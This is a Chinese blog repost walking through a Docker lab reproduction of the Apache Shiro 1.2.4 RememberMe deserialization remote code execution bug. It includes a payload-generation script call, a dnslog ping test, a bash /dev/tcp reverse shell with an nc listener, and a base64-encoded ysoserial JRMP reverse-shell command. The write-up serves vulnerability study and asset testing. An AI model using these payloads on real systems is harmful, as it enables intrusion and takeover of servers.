Shiro RememberMe 1.2.4
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
本文转自莫憨憨
影响版本：Apache Shiro <= 1.2.4
漏洞产生原因:
shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)
漏洞环境搭建
1.拉取镜像
1 | docker pull medicean/vulapps:s_shiro_1 |
2.启动环境
1 | docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1 |
如需进入环境，命令为
1 | docker exec -it name /bin/bash |
3.web访问
http://127.0.0.1 能看到如下页面即可
或虚拟机外面用真实ip访问
至此漏洞环境搭建成功
漏洞复现
1.抓包测试
查看返回包里setcookie有rememberme的字样
2.继续测试
首先最简单的测试方法是用dnslog，看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe
3.工具准备
生成payload的脚本使用的是python3,运行报错就安装一下模块
4.生成payload：
双引号中是想要执行的命令，如果这里没有公网VPS，就用dnslog来证明。攻击原理一样，不认可的杠精可直接怼
1 | py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn" |
运行结果如下图：
然后便会在脚本所在目录下生成文件payload.cookie
5.回到浏览器抓包
用payload.cookie中的rememberMe内容加入Cookie中，或者直接放进参数中，提交看页面回显和dnslog页面是否有数据过去
6.到ceye平台查看日志记录
dnslog日志刷新后有记录了，说明payloda执行成功
反弹shell
当然了，有VPS的情况下，为何不反弹一下shell呢？
1.使用脚本生成key
反弹shell的命令：
bash -i >& /dev/tcp/22.45.13.9/7878 0>&1
1 | py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1" |
PS：ip假的，不打码，观看流畅
2.先公网VPS监听反弹shell的命令
1 | nc -lvp 7878 |
3.加入payload，提交数据包
这里使用curl也能达到burp的效果
1 | // 加 -I 是只看响应头，这里主要关注set-cookie:rememberMe |
讲这个是因为此方法可以用来初步探测shiro信息
4.vps收到了反弹回来的shell
题外话1
研究这个漏洞，是因为客户要求排查下资产，然后找不到集成的工具和一键式检查的。
漏洞的事情OK了，还是觉得自己太菜，要是代码够给力，写个集成的丢github上就真的香。
题外话2
还有一个思路，看大佬文章时，这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的，后续学会了再补上笔记
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' |
参考链接：
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html
